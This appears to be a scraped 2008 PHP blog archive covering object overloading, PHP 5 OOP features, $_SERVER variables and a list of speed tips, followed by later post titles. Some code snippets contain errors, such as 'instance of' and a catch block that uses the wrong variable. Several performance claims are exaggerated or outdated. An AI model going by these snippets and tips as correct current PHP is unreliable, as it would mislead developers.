$class = new Persistable("Martin Jansen");

$class->name = "John Doe";
$class->country = "United States";
$class->email = "john@example.com";
?>

The first item that you may have stumbled across is the method __construct(). This is the new constructor method in PHP 5. In the good old days of PHP 4, constructor names matched their classes. That changed with PHP 5. You don't need to know much about the constructor method except that it is called to create an instance of the class; that it takes one argument here; and that it executes a database query based on this argument. The constructor assigns the return value of this query to the class property $data.

Next, the code defines two special methods called __get() and __set(). They are already familiar to you from the introduction: __get() is called when reading the value of an undefined property, and __set() is called when changing the same property's value.

This means that whenever someone reads or writes an undefined property from the persistable class, the special methods manipulate the information in the $data property array instead of changing the class properties directly. (Remember: $data contains the row from the database!)

The last class method is the counterpart of __construct(). It is the destructor method __destruct(). PHP calls destructors during the "script shutdown phase," which is typically right before the execution of the PHP script finishes. The destructor writes the information from the $data property back into the database. This is what the term synchronization (see above) stands for.

You have surely noticed that the above code uses PEAR's database abstraction layer package. This is solely syntactic sugar--the script of course works the same when using other ways to speak to the database.

If you look closely, you'll notice that the persistable class is limited in its current form. It works only with exactly one database table and thus does not allow the use of more complex data models that employ LEFT JOINs or other fancy database features. The sky's the limit, though; using property overloading in no way limits the flexibility of the database model. With just a bit more code, you can easily use sophisticated features of the database inside the persistable class.

Another little issue is the fact that there is virtually no error handling when the query in the destructor fails. It is in the nature of destructors that it often turns out to be impossible to display an error message in this case, because constructing the HTML markup has usually finished before PHP calls the destructor.

In order to solve this problem, you might rename __destruct() to something such as saveData() and execute the method manually somewhere in the calling script. This doesn't change anything in the concept of persistable classes; it just requires a bit more typing when writing code that uses the class. Alternatively, you can use the error_log() function in the destructor to log the message that belongs to the error in the systemwide error log file.
That's all the code necessary for the use case of property overloading. Next up is method overloading.

Object Overloading in PHP 5

Mon, 25 Aug 2008 17:56:32 +0000

A fine implementation of the object-overloading paradigm has found its way into PHP version 5. This article explores the possibilities of the overload methods __call(), __set(), and __get(). After explaining the basic theory of overloading, it dives straight into the topic by using two practical examples: first, implementing persistable classes, and second, figuring out a way to realize dynamic getter and setter methods. If you do not yet know what these terms mean, don't be afraid--it will become clear to you when you see the example code.

Requirements
Besides being comfortable with PHP 5, you should understand the most basic object-oriented programming terms, such as class, property, method, and constructor. You should also know the semantics of the access modifiers private, protected, and public. If you feel like you don't meet these requirements, you can take a look at numerous introductions to object-oriented programming. For general knowledge, Sun's Object-Oriented Programming Concepts is worth a read. If you're looking for information about PHP's object-oriented syntax, the PHP Manual contains valuable information in Chapter 19, Classes and Objects (PHP 5).

What Is Object Overloading?
What is this all about? When talking about object overloading in PHP, people distinguish between two types:
o Method overloading
o Property overloading
In the case of method overloading, the code defines a magic class method, __call(), that will act as a wildcard for calls to undefined methods of the corresponding class. This wildcard method will be called only when the class does not contain the method you are trying to access. Without method overloading, the following example will cause PHP to display the error message Fatal error: Call to undefined method ThisWillFail::bar() in/some/directory/example.php on line 9 and abort the program execution:
<?php
class ThisWillFail {
public function foo() {
return "Hello World!";
}
}
$class = new ThisWillFail;
$class->bar();
?>

With the help of method overloading, code can catch such calls and handle them gracefully.
Property overloading works similarly to method overloading. In this case, the class redirects (or even delegates, as some OO buffs might call it) calls to read/write accesses to class properties that do not have explicit definitions in the class body. The special methods here are __set() and __get(). Depending on the error-reporting level (for more information, see David Sklar's excellent ONLamp article PHP Debugging Basics), the PHP interpreter will usually either issue a notice when accessing such an undefined property, or belatedly and silently define the variable. If using property overloading, the interpreter will instead call __set() when setting the value of an undefined property or __get() when accessing the value of such a property.

All things considered, overloading allows for drastically reduced development time in dynamic languages such as PHP.

So much for the theory and the buzzwords. It's time to study some code!

New Object Oriented Features - By PHP Expert

Mon, 25 Aug 2008 17:56:03 +0000

Exception handling
PHP 5 adds the ability for the well known try/throw/catch structured exception handling paradigm. You are only allowed to throw objects which inherit from the Exception class.

class SQLException extends Exception {
public $problem;
function __construct($problem) {
$this->problem = $problem;
}
}

try {
...
throw new SQLException("Couldn't connect to database");
...
} catch (SQLException $e) {
print "Caught an SQLException with problem $obj->problem";
} catch (Exception $e) {
print "Caught unrecognized exception";
}

Currently for backwards compatibility purposes most internal functions do not throw exceptions. However, new extensions are making use of this capability and you can use it in your own source code. Also, similar to the already existing set_error_handler() you may use set_exception_handler() to catch an unhandled exception before the script terminates.

foreach with references
In PHP 4, you could not iterate through an array and modify its values. PHP 5 supports this by allowing you to mark the foreach() loop with the & (reference) sign, thus making any values you change affect the array you're iterating over.
foreach ($array as &$value) {
if ($value === "NULL") {
$value = NULL;
}
}

default values for by-reference parameters
In PHP 4, default values could only be given to parameters which are passed by-value. Giving default values to by-reference parameters is now supported.

function my_func(&$arg = null) {
if ($arg === NULL) {
print '$arg is empty';
}
}
my_func();

New Object Oriented Features - By PHP Expert

Mon, 25 Aug 2008 17:55:05 +0000

Support for dereferencing objects which are returned from methods.
In PHP 4, you could not directly dereference objects which are returned from methods. You would have to first assign the object to a dummy variable and then dereference it.

PHP 4:
$dummy = $obj->method();
$dummy->method2();

PHP 5:
$obj->method()->method2();

Iterators

PHP 5 allows both PHP classes and PHP extension classes to implement an Iterator interface. Once you implement this interface you will be able to iterate instances of the class by using the foreach() language construct.

$obj = new MyIteratorImplementation();
foreach ($obj as $value) {
print "$value";
}

For a more complete example, please refer to the "Advanced OOP & Design Patterns" chapter.

__autoload()
Many developers writing object-oriented applications create one PHP source file per-class definition. One of the biggest annoyances is having to write a long list of needed includes at the beginning of each script (one for each class). In PHP 5, this is no longer necessary. You may define an __autoload() function which is automatically called in case you are trying to use a class which hasn't been defined yet. By calling this function the scripting engine is giving a last chance to load the class before PHP bails out with an error.

function __autoload($class_name) {
include_once($class_name . "php");
}

$obj = new MyClass1();
$obj2 = new MyClass2();

New Object Oriented Features - By PHP Expert

Mon, 25 Aug 2008 17:53:46 +0000

Static members
Classes definitions can now include static members (properties), accessible via the class. Common usage of static members is in the Singleton pattern.

class Singleton {
static private $instance = NULL;
private function __construct() {
}

static public function getInstance() {
if (self::$instance == NULL) {
self::$instance = new Singleton();
}
return self::$instance;
}
}

Static methods
You can now define methods as static allowing them to be called from non-object context. Static methods don't define the $this variable as they aren't bound to any specific object.

<?php
class MyClass {
static function helloWorld() {
print "Hello, world";
}
}
MyClass::helloWorld();
?>

abstract classes
A class may be declared as abstract so as to prevent it from being instantiated. However, you may inherit from an abstract class.

abstract class MyBaseClass {
function display() {
print "Default display routine being called";
}
}

abstract methods
A method may be declared as abstract, thereby deferring its definition to an inheriting class. A class that includes abstract methods must be declared as abstract.

abstract class MyBaseClass {
abstract function display();
}

Class type hints
Function declarations may include class type hints for their parameters. If the functions are called with an incorrect class type an error occurs.

function expectsMyClass(MyClass $obj) {
}

New Object Oriented Features - By PHP Expert

Mon, 25 Aug 2008 17:52:39 +0000

Explicit object cloning
In order to clone an object you have to use the clone keyword. You may declare a __clone() method which will be called during the clone process (after the properties have been copied from the original object).

class MyClass {
function __clone() {
print "Object is being cloned";
}
}
$obj = new MyClass();
clone $obj;

Class constants
Classes definitions can now include constant values, and are referenced using the class.

class MyClass {
const SUCCESS = "Success";
const FAILURE = "Failure";
}
print MyClass::SUCCESS;

New Object Oriented Features - By PHP Expert

Fri, 25 Jul 2008 17:52:04 +0000

final methods
The final keyword allows you to mark methods so that an inheriting class can't overload them.

class MyClass {
final function getBaseClassName() {
return __CLASS__;
}
}

final classes
After declaring a class as final, it can't be inherited. The following example would error out:

final class FinalClass {
}

class BogusClass extends FinalClass {
}

New Object Oriented Features - By PHP Expert

Fri, 25 Jul 2008 17:51:29 +0000

Interfaces
Gives the ability for a class to fulfill more than one is-a relationships. A class can inherit from one class only but may implement as many interfaces as it wants.

interface Display {
function display();
}

class Circle implements Display {
function display() {
print "Displaying circle ";
}
}

instanceof operator
Language level support for is-a relationship checking. The PHP 4 is_a() function is now deprecated.

if ($obj instance of Circle) {
print '$obj is a Circle';
}

New Object Oriented Features - By PHP Expert

Fri, 29 Aug 2008 10:35:52 +0000

The new object oriented features are too numerous to give a detailed description in this section. The object oriented language chapter goes over each feature in detail.

The following is a list of the main new features:

1. public/private/protected access modifiers for methods and properties

Allows the use of common OO access modifiers to control access to methods and properties.

class MyClass {
private $id = 18;
public function getId() {
return $this->id;
}
}

$myclassobject=new MyClass();
echo $myclassobject->getId();

2. Unified constructor name __construct()
Instead of the constructor being the name of the class, it should now be declared as __construct(), making it easier to shift classes inside class hierarchies.

class MyClass {
function __construct() {
print "Inside constructor";
}
}

3. Object destructor support by defining a __destructor() method

Allows defining a destructor function that runs when an object is destroyed.

<?php
class MyClass {
function __destruct() {
print "Destroying object";
}
}
?>

Improved Error Messages in PHP 5 - By PHP Expert

Fri, 29 Aug 2008 10:36:06 +0000

Sometimes its the little things that make a difference. If you run the this test program in PHP 4 (tested on 4.4.7):

< ?php
function test($arg) { echo "talk like a pirate."; }
test();
?>

You get the following message:

Warning: Missing argument 1 for test() in /usr/bin/- on line 2

The error message here is reported at the position of the definition of the function, but really the error was in how the function was called. The required parameter to test was not passed. This error can be annoying, forcing you to consult a stack trace to find the actual error location. Something some beginners may not know how to do.

However, if you run the same message in PHP 5 (tested on 5.2.2):

Warning: Missing argument 1 for test(), called in /Users/jeff/- on line 3 and defined in /Users/jeff/- on line 2

Sweet improvement!

One more reason to ditch PHP 4 and go php 5.

Important SERVER Variables in PHP - By PHP Expert

Fri, 29 Aug 2008 10:36:22 +0000

Consider your file is at location: http://www.example.com/index.php
static location for file is: /home/a/b/exampl/htdocs/
The following will be the values for the server variables

[HTTP_HOST] => www.example.com
//Indicates the domain name of your site

[HTTP_USER_AGENT] => Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0
// Indicates from which browser you are accessing the site

[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
//what kind of content is requested by your file

[HTTP_ACCEPT_LANGUAGE] => en-us,en;q=0.5
//header from the current request, if there is one. Example 'en'

[HTTP_ACCEPT_ENCODING] => gzip,deflate
//header from the current request, if there is one. Example: 'gzip'

[HTTP_ACCEPT_CHARSET] => ISO-8859-1,utf-8;q=0.7,*;q=0.7
//header from the current request, if there is one. Example: 'iso-8859-1,*,utf-8'

[HTTP_KEEP_ALIVE] => 300
//header from the current request, if there is one to keep connection alive for given time.

[HTTP_CONNECTION] => keep-alive
//header from the current request, indicating whether to keep connection alive or not.

[HTTP_COOKIE] => __utma=123129419.826544571.1217935577.1219399309.1219416030.12; __utmz=123129419.1217935577.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); style=alt1

//shows the list of cookies currently set.

[HTTP_CACHE_CONTROL] => max-age=0
//amount for which we browser must control cache, its 0 means for unlimited period.

[PATH] => /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin

[SERVER_SIGNATURE] => Apache/2.0.52 (CentOS) Server at 192.168.1.101 Port 80
// Information about the webserver

[SERVER_SOFTWARE] => Apache/2.0.52 (CentOS)
//Information about the server software

[SERVER_NAME] => www.example.com
//The name of the server host under which the current script is executing.

[SERVER_ADDR] => 192.168.1.101
//The IP address of the server under which the current script is executing.

[SERVER_PORT] => 80 //The port on the server machine being used by the web server for communication.

[REMOTE_ADDR] => 192.168.1.178
//The Host name from which the user is viewing the current page.

[DOCUMENT_ROOT] => /home/a/b/exampl/htdocs/
//The document root directory under which the current script is executing, as defined in the server's configuration file.

[SERVER_ADMIN] => root@localhost
//The value given to the SERVER_ADMIN (for Apache) directive in the web server configuration file. If the script is running on a virtual host, this will be the value defined for that virtual host.

[SCRIPT_FILENAME] => /home/a/b/exampl/htdocs/index.php
//The absolute pathname of the currently executing script.

[REMOTE_PORT] => 3924
//The port being used on the user's machine to communicate with the web server.

[GATEWAY_INTERFACE] => CGI/1.1
//What revision of the CGI specification the server is using; i.e. 'CGI/1.1'.

[SERVER_PROTOCOL] => HTTP/1.1
//Name and revision of the information protocol via which the page was requested; i.e. 'HTTP/1.0';

[REQUEST_METHOD] => GET
// Which request method was used to access the page; i.e. 'GET', 'HEAD', 'POST', 'PUT'.

[QUERY_STRING] =>
//The query string, if any, via which the page was accessed.

[REQUEST_URI] => /
//The URI which was given in order to access this page; for instance, '/index.php'.

[SCRIPT_NAME] => /index.php
//Contains the current script's path. This is useful for pages which need to point to themselves. The __FILE__ constant contains the full path and filename of the current (i.e. included) file.

[PHP_SELF] => /index.php
//The filename of the currently executing script, relative to the document root.

[REQUEST_TIME] => 1219654851
//The timestamp of the start of the request. Available since PHP 5.1.0.

Tips for optimizing php code by PHP Expert

Sun, 18 May 2008 17:46:51 +0000

# If a method can be static, declare it static. Speed improvement is by a factor of 4.
# echo is faster than print.
# Use echo's multiple parameters instead of string concatenation.
# Set the maxvalue for your for-loops before and not in the loop.
# Unset your variables to free memory, especially large arrays.
# Avoid magic like __get, __set, __autoload
# require_once() is expensive
# Use full paths in includes and requires, less time spent on resolving the OS paths.
# If you need to find out the time when the script started executing, $_SERVER[’REQUEST_TIME’] is preferred to time()
# See if you can use strncasecmp, strpbrk and stripos instead of regex
# str_replace is faster than preg_replace, but strtr is faster than str_replace by a factor of 4
# If the function, such as string replacement function, accepts both arrays and single characters as arguments, and if your argument list is not too long, consider writing a few redundant replacement statements, passing one character at a time, instead of one line of code that accepts arrays as search and replace arguments.
# It's better to use switch statements than multi if, else if, statements.
# Error suppression with @ is very slow.
# Turn on apache's mod_deflate
# Close your database connections when you're done with them
# $row[’id’] is 7 times faster than $row[id]
# Error messages are expensive
# Do not use functions inside of for loop, such as for ($x=0; $x < count($array); $x) The count() function gets called each time.
# Incrementing a local variable in a method is the fastest. Nearly the same as calling a local variable in a function.
# Incrementing a global variable is 2 times slow than a local var.
# Incrementing an object property (eg. $this->prop++) is 3 times slower than a local variable.
# Incrementing an undefined local variable is 9-10 times slower than a pre-initialized one.
# Just declaring a global variable without using it in a function also slows things down (by abut the same amount as incrementing a local var). PHP probably does a check to see if the global exists.
# Method invocation appears to be independent of the number of methods defined in the class because I added 10 more methods to the test class (before and after the test method) with no change in performance.
# Methods in derived classes run faster than ones defined in the base class.
# A function call with one parameter and an empty function body takes about the same time as doing 7-8 $localvar++ operations. A similar method call is of course about 15 $localvar++ operations.
# Surrounding your string by ' instead of " will make things interpret a little faster since php looks for variables inside "..." but not inside '...'. Of course you can only do this when you don't need to have variables in the string.
# When echoing strings it's faster to separate them by comma instead of dot. Note: This only works with echo, which is a function that can take several strings as arguments.
# A PHP script will be served at least 2-10 times slower than a static HTML page by Apache. Try to use more static HTML pages and fewer scripts.
# Your PHP scripts are recompiled every time unless the scripts are cached. Install a PHP caching product to typically increase performance by 25-100% by removing compile times.
# Cache as much as possible. Use memcached - memcached is a high-performance memory object caching system intended to speed up dynamic web applications by alleviating database load. OP code caches are useful so that your script does not have to be compiled on every request
# When working with strings and you need to check that the string is either of a certain length you'd understandably would want to use the strlen() function. This function is pretty quick since it's operation does not perform any calculation but merely return the already known length of a string available in the zval structure (internal C struct used to store variables in PHP). However because strlen() is a function it is still somewhat slow because the function call requires several operations such as lowercase & hashtable lookup followed by the execution of said function. In some instance you can improve the speed of your code by using an isset() trick.
Ex.
if (strlen($foo) < 5) { echo "Foo is too short"; }
vs.
if (!isset($foo{5})) { echo "Foo is too short"; }
Calling isset() happens to be faster then strlen() because unlike strlen(), isset() is a language construct and not a function meaning that it's execution does not require function lookups and lowercase. This means you have virtually no overhead on top of the actual code that determines the string's length.
# When incrementing or decrementing the value of the variable $i++ happens to be a tad slower then ++$i. This is something PHP specific and does not apply to other languages, so don't go modifying your C or Java code thinking it'll suddenly become faster, it won't. ++$i happens to be faster in PHP because instead of 4 opcodes used for $i++ you only need 3. Post incrementation actually causes in the creation of a temporary var that is then incremented. While pre-incrementation increases the original value directly. This is one of the optimization that opcode optimized like Zend's PHP optimizer. It is a still a good idea to keep in mind since not all opcode optimizers perform this optimization and there are plenty of ISPs and servers running without an opcode optimizer.
# Not everything has to be OOP, often it is too much overhead, each method and object call consumes a lot of memory.
# Do not implement every data structure as a class, arrays are useful, too
# Don't split methods too much, think, which code you will really re-use
# You can always split the code of a method later, when needed
# Make use of the countless predefined functions
# If you have very time consuming functions in your code, consider writing them as C extensions

PHP Expert - Nilesh Pawar Blogs

Importance of Server/Application/Code Security

Ideas about PHP 6 - PHP Experts India

PHP 7 to Be Even Faster Than Expected

Announcing Zend Framework 3 - The Future of PHP Frameworks

Postgres Database Get Started Commands

Use of MemCache module to handle session on load balancing servers.

301 redirect on blogger/blogspot to new site

HHVM for PHP - Future is here to conquer the world of web-development

Why HHVM

PHP 5.6.0alpha1 released - By PHP Experts India

How to add a job to crontab and set simple email address?

How to add a job to the cron?

Description of Cron fields.

Crontab examples

1. Run at 12:01 a.m. 1 minute after midnight everyday.

2. Run backup every weekday (Mon – Fri) at 11:59 p.m.

3. Execute the command every 5 minutes.

4. Execute at 1:10 p.m on 1st of every month

5. Execute 11 p.m on weekdays.

Crontab Options

PHP 5.5.0alpha6 released PHP Expert India

PHP 5.5.0alpha6 released - PHP Experts India

6 Nifty, Time-Saving HTML Attributes

1. The Autofocus Attribute

Usage

2. The Placeholder Attribute

Usage

Live Demo

3. The Spellcheck Attribute

Usage

Live Demo

4. The Maxlength Attribute

Usage

Live Demo

5. The Reversed Attribute

Usage

Live Demo

6. The Start Attribute

Usage

Live Demo

BONUS: The Contenteditable Attribute

Usage

Worldwide Browser Statistics January 2013 to February 2013

Worldwide Browser Statistics January 2013 to February 2013

Getting Started with Sass - Stylesheets

Why Sass

Sass Indented Syntax

.scss

Workflow and Tools

Workflow

Tools

Compass.app

LiveReload

CodeKit

Mixture

Let’s Start Coding, Already!

Nesting

Example 1 — Good nesting

Example 2 — Bad nesting

Variables

Functions and Operators

Mixins

Your First Sass Project

Extending Sass

Compass

Sprite Generation

To Sum Up

Forbidden You dont have permission to access phpmyadmin on this server.

Feature changes in PHP5.4.X

Few Tips to optimize your PHP Code

PHP 5.5 Release Date and Plans - Lately in PHP podcast episode 28 - PHP Expert India

New features in PHP 5.3

Calculate date difference in days in php

Preventing Cross-Site Request Forgeries

HTML5 and the Future of Online Games

The Golden Child: Flash Games

The New Kid on the Block: HTML5 Games

Some advantages of HTML5 for Games

Some Interesting Charts

Remove `eval()`, `javascript:`, and `script` from User Provided Markup